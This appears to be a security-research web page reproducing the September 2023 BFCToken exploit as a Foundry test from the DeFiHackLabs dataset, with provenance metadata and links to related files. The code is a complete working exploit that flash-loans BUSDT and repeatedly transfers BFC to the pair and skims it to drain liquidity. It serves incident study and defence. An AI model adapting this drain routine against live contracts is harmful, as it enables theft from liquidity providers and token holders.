Public reproduction file

src/test/2023-09/BFCToken_exp.sol

Public reproduction file for dataset entry BFCToken.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-09/BFCToken_exp.sol108 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$38K
8// Attacker : https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891
9// Attacker Contract : https://bscscan.com/address/0x9180981034364f683ea25bcce0cff5e03a595bef
10// Vulnerable Contract : https://bscscan.com/address/0x595eac4a0ce9b7175a99094680fbe55a774b5464
11// Attack Tx : https://bscscan.com/tx/0x8ee76291c1b46d267431d2a528fa7f3ea7035629500bba4f87a69b88fcaf6e23
12 
13// @Analysis
14// https://twitter.com/CertiKAlert/status/1700621314246017133
15 
16contract BFCTest is Test {
17    Uni_Pair_V2 BUSDT_WBNB = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
18    Uni_Pair_V2 BUSDT_BFC = Uni_Pair_V2(0x71e1949A1180C0F945fe47C96f88b1a898760c05);
19    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
20    IERC20 BFC = IERC20(0x595eac4A0CE9b7175a99094680fbe55A774B5464);
21    IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
22    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
23 
24    function setUp() public {
25        vm.createSelectFork("bsc", 31_599_443);
26        vm.label(address(BUSDT_WBNB), "BUSDT_WBNB");
27        vm.label(address(BUSDT_BFC), "BUSDT_BFC");
28        vm.label(address(Router), "Router");
29        vm.label(address(BFC), "BFC");
30        vm.label(address(BUSDT), "BUSDT");
31        vm.label(address(WBNB), "WBNB");
32    }
33 
34    function testExploit() public {
35        deal(address(BUSDT), address(this), 0);
36        deal(address(this), 0);
37        bytes memory swapData = abi.encode(address(BFC), address(BUSDT_BFC), 400_000 * 1e18);
38        BUSDT_WBNB.swap(400_000 * 1e18, 0, address(this), swapData);
39        swapBUSDTToBNB();
40 
41        emit log_named_decimal_uint("Attacker BNB balance after attack", address(this).balance, 18);
42    }
43 
44    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
45        BFC.approve(address(Router), type(uint256).max);
46        BUSDT.approve(address(Router), type(uint256).max);
47 
48        swapBUSDTToBFC(BUSDT.balanceOf(address(BUSDT_BFC)));
49        BFC.transfer(address(BFC), BFC.balanceOf(address(this)));
50        swapBUSDTToBFC(BUSDT.balanceOf(address(this)));
51        // Start exploit
52        uint256 counter;
53        while (counter < 100) {
54            uint256 balanceBFC = BFC.balanceOf(address(this));
55            uint256 pairBalanceBFC = BFC.balanceOf(address(BUSDT_BFC));
56 
57            if (balanceBFC >= (50 * pairBalanceBFC)) {
58                balanceBFC = (pairBalanceBFC - 1) * 50;
59            }
60 
61            BFC.transfer(address(BUSDT_BFC), balanceBFC);
62            BUSDT_BFC.skim(address(this));
63            BFC.transfer(address(BUSDT_BFC), 0);
64 
65            if (balanceBFC < (pairBalanceBFC * 50)) {
66                ++counter;
67            } else {
68                break;
69            }
70        }
71        // End exploit
72        swapBFCToBUSDT();
73        uint256 returnFlashAmount = (_amount0 * 1000) / 997 + 1;
74        BUSDT.transfer(address(BUSDT_WBNB), returnFlashAmount);
75    }
76 
77    receive() external payable {}
78 
79    function swapBUSDTToBFC(
80        uint256 amountIn
81    ) internal {
82        address[] memory path = new address[](2);
83        path[0] = address(BUSDT);
84        path[1] = address(BFC);
85 
86        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
87            amountIn, 0, path, address(this), block.timestamp + 1000
88        );
89    }
90 
91    function swapBFCToBUSDT() internal {
92        address[] memory path = new address[](2);
93        path[0] = address(BFC);
94        path[1] = address(BUSDT);
95 
96        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
97            BFC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000
98        );
99    }
100 
101    function swapBUSDTToBNB() internal {
102        address[] memory path = new address[](2);
103        path[0] = address(BUSDT);
104        path[1] = address(WBNB);
105 
106        Router.swapExactTokensForETH(BUSDT.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000);
107    }
108}

Analysis

Dataset entry

Public Foundry test for “BFCToken” (2023-09-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-09/0x0DEX_exp.solSame month in the dataset · 269 lines
src/test/2023-09/APIG_exp.solSame month in the dataset · 105 lines
src/test/2023-09/CEXISWAP_exp.solSame month in the dataset · 77 lines
src/test/2023-09/DAppSocial_exp.solSame month in the dataset · 109 lines
src/test/2023-09/DEXRouter_exp.solSame month in the dataset · 55 lines
src/test/2023-09/FireBirdPair_exp.solSame month in the dataset · 141 lines
src/test/2023-09/FloorDAO_exp.solSame month in the dataset · 83 lines
src/test/2023-09/HCT_exp.solSame month in the dataset · 105 lines
src/test/2023-09/HeavensGate_exp.solSame month in the dataset · 97 lines
src/test/2023-09/JumpFarm_exp.solSame month in the dataset · 83 lines
src/test/2023-09/Kub_Split_exp.solSame month in the dataset · 226 lines
src/test/2023-09/QuantumWN_exp.solSame month in the dataset · 73 lines
src/test/2023-09/uniclyNFT_exp.solSame month in the dataset · 126 lines
src/test/2023-09/XSDWETHpool_exp.solSame month in the dataset · 123 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x7cb74265e3e2d2b707122bf45aea66137c6c8891
Attacker
0x9180981034364f683ea25bcce0cff5e03a595bef
Vulnerable Contract
0x595eac4a0ce9b7175a99094680fbe55a774b5464

Attack Tx
0x8ee76291c1b46d267431d2a528fa7f3ea7035629500bba4f87a69b88fcaf6e23

File record

Name: BFCToken
Path: src/test/2023-09/BFCToken_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 818ea926458b01922dc7766bc0d2557e7a46a1ba
Language: Solidity
Size: 109 lines
Date: 2023-09-09
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-09/BFCToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 818ea926458b01922dc7766bc0d2557e7a46a1ba, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.